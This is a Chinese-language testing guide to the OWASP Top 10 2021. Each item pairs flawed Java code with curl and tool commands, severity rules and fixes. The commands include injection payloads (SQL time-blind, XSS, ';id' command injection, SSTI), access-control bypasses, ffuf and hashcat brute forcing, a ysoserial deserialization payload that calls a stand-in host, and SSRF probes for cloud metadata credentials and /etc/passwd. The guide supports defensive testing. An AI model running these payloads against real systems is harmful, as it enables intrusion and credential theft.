OWASP Top 10 2021 解读与测试要点¶
一、先看一次真实的扫描结果¶
某次提测,AppScan 对 42 个接口报了 37 条高危,安全同学复核后只剩 9 条能复现:
- 把
sort=price,id报成 SQL 注入,sqlmap复测输出[CRITICAL] all tested parameters do not appear to be injectable - 把返回 500 的参数当成命令执行,实际只是
NumberFormatException - 把
Access-Control-Allow-Origin: *报成高危,但接口不带 Cookie,实际风险为低
这不是扫描器不行,而是 Top 10 是风险分类,不是漏洞清单。同一句“访问控制失效”,落到测试上可能是 IDOR、可能是路径绕过、也可能是前端隐藏按钮。本文按 A01~A10 逐条给出:典型缺陷代码 → 测试动作 → 判定标准 → 修复方向。
A01 访问控制失效(Broken Access Control)¶
典型缺陷是只按主键查,不校验归属:
@GetMapping("/api/v1/orders/{id}")
public Order detail(@PathVariable Long id) {
return orderMapper.selectById(id); // SQL: where id = ?
}
测试动作(水平越权):
# A 用户下单,返回 {"code":0,"data":{"orderId":1001,...}}
curl -s -X POST https://demo.example.com/api/v1/orders \
-H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" \
-d '{"skuId":1001,"qty":1}'
# 换 B 用户 token 直接读 A 的订单
curl -s -H "Authorization: Bearer $TOKEN_B" \
https://demo.example.com/api/v1/orders/1001 -o /tmp/b.json -w "%{http_code}\n"
垂直越权与路径级绕过:
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN_USER" \
https://demo.example.com/api/v1/admin/users
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN_USER" \
-H "X-Original-URL: /admin/users" https://demo.example.com/
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN_USER" \
"https://demo.example.com/api/v1/orders/..%2f..%2fadmin%2fusers"
判定标准:
| 响应 | 结论 |
|---|---|
| 200 且 body 含他人数据 | 高危,确证越权 |
| 200 但 data 为空,存在性与正常 id 有差异 | 中危,信息泄露 |
| 403 或 404,且与无权资源响应一致 | 通过 |
| 302 跳登录页 | 通过,但要确认接口本身未执行 |
注意 401(未认证)和 403(已认证无权限)不能混用;返回 200 加空数组不等于安全,分页 total 可能泄露数量。
修复方向:数据级鉴权下沉到 service,SQL 强制 where id = ? and owner_id = ?;不要只靠前端隐藏菜单;@PreAuthorize 必须作用到数据维度,而不是只拦 URL。
A02 加密机制失效(Cryptographic Failures)¶
第一组检查:传输层。
nmap -p443 --script ssl-enum-ciphers demo.example.com
# | TLSv1.0:
# | ciphers:
# | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
docker run --rm drwetter/testssl.sh --severity HIGH https://demo.example.com
# TLS 1.1 offered (deprecated)
# TLS_RSA_WITH_3DES_EDE_CBC_SHA offered (deprecated)
openssl s_client -connect demo.example.com:443 -servername demo.example.com -tls1_1 </dev/null
# 服务端仍支持时返回 "Protocol : TLSv1.1",OpenSSL 3.x 客户端可能先报 no protocols available
第二组检查:硬编码与弱哈希。
grep -rnE '(password|secret|accessKey|token)[[:space:]]*=[[:space:]]*"[A-Za-z0-9+/]{16,}"' \
--include=*.java --include=*.yml src/
MessageDigest md = MessageDigest.getInstance("MD5"); // 无盐、可彩虹表
String hash = Hex.encodeHexString(md.digest(password.getBytes()));
验证无盐的最快方式:两个不同用户设置同一密码 123456,查库中哈希是否相同;再对比 echo -n 123456 | md5sum 的 e10adc3949ba59abbe56e057f20f883e。
判定标准:生产环境启用 TLS 1.0/1.1、RC4、3DES 判中危;证书过期或域名不匹配判高危;MD5/SHA1 存口令、AES/ECB 判高危;密钥写进仓库判高危(无论是否已上线,都要轮换)。
修复方向:只开 TLS 1.2/1.3 与 AEAD 套件;口令用 bcrypt(cost≥10)或 Argon2id;密钥放 KMS/Vault,代码里只留引用;加密用 AES-GCM 并带随机 nonce。
A03 注入(Injection)¶
SQL 注入的缺陷代码:
测试动作:
# 时间盲注:连续 3 次耗时明显抬升才算
for i in 1 2 3; do
curl -s -o /dev/null -w "%{time_total}\n" \
"https://demo.example.com/api/v1/product?name=book'%20and%20sleep(3)--%20-"
done
# 3.04 / 3.02 / 3.05 → 成立;0.05 左右 → 不成立
sqlmap -u "https://demo.example.com/api/v1/product?name=book" \
--batch --level=3 --risk=2 --dbms=mysql --technique=T
XSS 看的是输出上下文,不是输入过滤:
curl -s "https://demo.example.com/search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E" \
| grep -o "<script>alert(document.domain)</script>"
命令注入与模板注入:
curl -s "https://demo.example.com/api/v1/ping?host=127.0.0.1;id"
# 返回 uid=0(root) gid=0(root) 即成立
curl -s "https://demo.example.com/api/v1/render?name=%7B%7B7*7%7D%7D"
# 返回 49 说明模板被求值(SSTI)
判定标准:错误页出现 java.sql.SQLSyntaxErrorException、You have an error in your SQL syntax 可判注入;时间盲注需重复 3 次且基线稳定;XSS 需在浏览器确认执行,响应体出现未转义的 <script> 只是线索;模板返回 49 或 ${7*7} 被求值均成立。
修复方向:全部改预编译参数(PreparedStatement、ORM 绑定参数);排序列用白名单映射;输出按 HTML/JS/URL 上下文编码;禁止字符串拼 Runtime.exec,改用参数数组;模板引擎关闭动态求值或启用沙箱。
A04 不安全设计(Insecure Design)¶
这类问题代码写得“没错”,是业务规则缺失:
BigDecimal payable = order.getAmount().subtract(coupon.getDiscount());
// 没有判断 payable >= 0,也没有限制优惠券叠加张数
测试动作(用两个账号交替操作):
# 1. 100 元订单叠加 3 张 50 元券
curl -s -X POST https://demo.example.com/api/v1/orders/1001/coupons \
-H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" \
-d '{"couponIds":[501,502,503]}' -w "\n%{http_code}\n"
# 2. 并发兑换同一张券 20 次,看成功次数
seq 1 20 | xargs -P 20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://demo.example.com/api/v1/coupons/501/redeem \
-H "Authorization: Bearer $TOKEN_A"
判定标准:应付金额为负仍能提交、同一券成功核销超过 1 次、订单状态可 PAID → PENDING 回退、无幂等键的重复下单产生两笔,均判高危业务逻辑缺陷。
修复方向:服务端状态机约束流转;金额在服务端重算并校验下限;核销用唯一索引或分布式锁;下单要求 Idempotency-Key;需求评审阶段用 STRIDE 逐项问“谁能重复、谁能跳过、谁能改顺序”。
A05 安全配置错误(Security Misconfiguration)¶
常见入口一次性探完:
for p in /manager/html /actuator/env /actuator/heapdump /.git/config \
/swagger-ui/index.html /uploads/ /console; do
printf "%-26s %s\n" "$p" "$(curl -s -o /dev/null -w '%{http_code}' https://demo.example.com$p)"
done
# /manager/html 200 → Tomcat 默认口令未改
# /actuator/env 200 → 环境变量与配置泄露
# /uploads/ 200 且含 "Index of /" → 目录列表
CORS 要看是否同时允许凭据:
curl -s -D - -o /dev/null -H "Origin: https://evil.example" \
https://demo.example.com/api/v1/me | grep -i "access-control"
# Access-Control-Allow-Origin: https://evil.example
# Access-Control-Allow-Credentials: true
# 上面两行同时出现才判高危(可跨站读取登录态数据)
错误堆栈与默认口令:
curl -s "https://demo.example.com/api/v1/orders/abc"
# {"timestamp":"2026-08-05T10:12:33.441+08:00","status":500,
# "error":"Internal Server Error","trace":"java.lang.NumberFormatException:
# For input string: \"abc\"\n\tat com.demo.order.OrderController.detail(...)"}
curl -s -o /dev/null -w "%{http_code}\n" -u admin:admin http://demo.example.com/manager/html
判定标准:生产返回 trace/exception/SQL 语句判中危;默认口令可登录管理端判高危;目录列表可下载备份或配置判高危;CORS 通配加 Allow-Credentials: true 判高危,仅通配且无凭据判低危。
修复方向:关闭 actuator 敏感端点(management.endpoints.web.exposure.include=health,info);统一异常处理器,生产只返回 traceId;删除默认账号或强制首登改密;CORS 用域名白名单;容器以非 root 运行并去掉目录浏览。
A06 自带缺陷和过时组件(Vulnerable and Outdated Components)¶
mvn -B org.owasp:dependency-check-maven:9.2.0:check -DfailBuildOnCVSS=7
# [ERROR] One or more dependencies were identified with known vulnerabilities
# [ERROR] commons-text-1.9.jar : CVE-2022-42889
# [ERROR] log4j-core-2.14.1.jar : CVE-2021-44228
trivy fs --scanners vuln --severity CRITICAL,HIGH --exit-code 1 .
版本与行为说明:dependency-check 9.x 首次运行要下载 NVD 数据,没有 NVD_API_KEY 时可能跑 30 分钟以上并出现 NVD API request failures;9.x 默认对 CVSS≥7 才标记,-DfailBuildOnCVSS 才是构建失败阈值,两者别混。
判定标准:CVSS≥7 且调用链可达判高危;组件已 EOL(Spring Boot 2.7 于 2023-11 停止开源支持、Log4j 1.x)判高危;仅测试依赖引入且不打包进制品可降级;有 CVE 但官方确认不受影响需登记接受风险。
修复方向:升级到修复版本;无法升级时移除该功能或加 WAF 补偿;锁定 BOM 版本;SCA 进 CI 且每周全量重扫(新 CVE 会追溯旧依赖)。
A07 身份认证和鉴别失效(Identification and Authentication Failures)¶
# 撞库/暴破:观察是否锁定、是否有验证码、响应是否可区分
ffuf -u https://demo.example.com/api/v1/login -X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-w /usr/share/wordlists/rockyou.txt -mc 200 -fr "用户名或密码错误"
# 会话固定:登录前后 cookie 是否轮换
curl -s -c /tmp/jar -b /tmp/jar https://demo.example.com/login -o /dev/null
curl -s -c /tmp/jar -b /tmp/jar -X POST https://demo.example.com/api/v1/login \
-H "Content-Type: application/json" -d '{"username":"alice","password":"Correct#2026"}'
grep JSESSIONID /tmp/jar
# JWT:是否接受 alg=none、弱密钥、缺少 exp
python3 -c "import base64,sys;print(base64.urlsafe_b64decode(sys.argv[1].split('.')[1]+'=='))" "$JWT"
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
判定标准:连续 1000 次失败无锁定/无验证码且存在弱口令即成立;登录后 JSESSIONID 未变化判会话固定;JWT 接受 alg=none、HS256 密钥可爆破、无 exp 或过期仍可用,均判高危;错误提示能区分“用户不存在/密码错误”判中危。
修复方向:统一错误文案与恒定时延;失败计数加锁定与验证码;登录成功轮换 session id;JWT 固定算法白名单、密钥≥256 bit、强制 exp/aud/iss;敏感操作二次认证。
A08 软件和数据完整性失效(Software and Data Integrity Failures)¶
# Java 反序列化:先用 DNSLog 确认可达,再考虑利用链
java -jar ysoserial.jar CommonsCollections6 'curl http://oob.example/x' | base64 -w0
curl -s -X POST https://demo.example.com/api/v1/import \
-H "Content-Type: application/x-java-serialized-object" --data-binary @payload.bin
# 制品签名校验
cosign verify --key cosign.pub ghcr.io/demo/order-service:1.2.3
# Error: no matching signatures: ...
供应链侧还要查两点:CI 里的 uses: some/action@main 未锁版本(应锁 commit SHA);npm install 默认执行依赖的 postinstall 脚本(CI 建议 npm ci --ignore-scripts)。
判定标准:服务端对不可信数据调用 ObjectInputStream.readObject 且无白名单判高危;制品无签名或验签可跳过判高危;构建脚本引用可变分支判中危;依赖锁文件缺失判中危。
修复方向:禁用原生反序列化,改 JSON 并做 schema 校验;必要时用 ObjectInputFilter 白名单;CI 依赖锁 SHA、开启 Dependabot;产物生成 SBOM 并用 cosign 签名,部署前强制验签。
A09 日志和监控失效(Security Logging and Monitoring Failures)¶
不是看有没有日志文件,而是做一次操作后能不能查到:
curl -s -X POST https://demo.example.com/api/v1/admin/users/42/role \
-H "Authorization: Bearer $TOKEN_ADMIN" -d '{"role":"SUPER_ADMIN"}'
sudo grep -r "role" /var/log/order-service/audit.log | tail -5
# 期望包含:操作者 id、目标对象、变更前后值、来源 IP、traceId、结果
再做一次攻击探测,看是否触发告警:
for i in $(seq 1 10); do
curl -s -o /dev/null "https://demo.example.com/api/v1/product?name=1'%20or%20'1'='1"
done
判定标准:登录成功/失败、权限变更、数据导出、支付、配置修改五类事件缺任一判中危;日志无操作者或无法关联 traceId 判中危;日志可被普通账号删除判高危;上述探测 10 次无任何告警判中危。
修复方向:定义关键事件清单并结构化输出(JSON);集中采集并设保留期≥180 天;对失败登录突增、越权 403 突增、异常导出量建告警规则;日志脱敏,禁止记录口令与完整卡号。
A10 服务端请求伪造(SSRF)¶
缺陷代码:
URL url = new URL(request.getParameter("url"));
try (InputStream in = url.openConnection().getInputStream()) { ... }
测试动作:
# 云元数据
curl -s "https://demo.example.com/api/v1/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 命中时返回 {"Code":"Success","AccessKeyId":"ASIA...","SecretAccessKey":"..."}
# 内网端口探测(看时间差)
curl -s -o /dev/null -w "%{time_total}\n" \
"https://demo.example.com/api/v1/image?url=http://10.0.0.5:6379"
# 0.01s 拒绝 vs 3.00s 超时,可推断端口状态
# 协议滥用
curl -s "https://demo.example.com/api/v1/image?url=file:///etc/passwd"
curl -s "https://demo.example.com/api/v1/image?url=dict://127.0.0.1:11211/stat"
无回显时用 DNS 外带:url=http://ssrf.oob.example,在 DNSLog 平台看解析记录。
判定标准:返回元数据内容或内网服务 banner 判高危;file:// 可读本地文件判高危;可探测内网端口(时间差稳定复现)判中危;仅能访问外网且无内网跳转判低危。
修复方向:出站用域名白名单;解析后校验 IP,拒绝 RFC1918、100.64/10、169.254/16、::1,并防 DNS rebinding(解析与连接用同一 IP);禁止跟随重定向;云上启用 IMDSv2;图片抓取走独立出口代理。
落地检查清单¶
| 检查项 | 通过标准 | 常见误判 |
|---|---|---|
| 越权 | 换 token 返回 403/404 且响应一致 | 把 302 登录页当通过 |
| 传输加密 | 只开 TLS1.2/1.3,无 3DES/RC4 | 只看证书不看套件 |
| 注入 | 参数化后时间与报错均无变化 | 把 500 当注入 |
| 业务设计 | 负数金额、重复核销被拒 | 只测正常流程 |
| 配置 | 无默认口令、无目录列表、无堆栈 | 只看首页 |
| 组件 | 无 CVSS≥7 可达漏洞 | 只看直接依赖 |
| 认证 | 有锁定、session 轮换、JWT 校验完整 | 只看密码强度 |
| 完整性 | 无反序列化入口、制品验签通过 | 只查依赖不查 CI |
| 日志 | 五类关键事件可查可告警 | 有日志文件即算通过 |
| SSRF | 内网与元数据均不可达 | 只测外网 URL |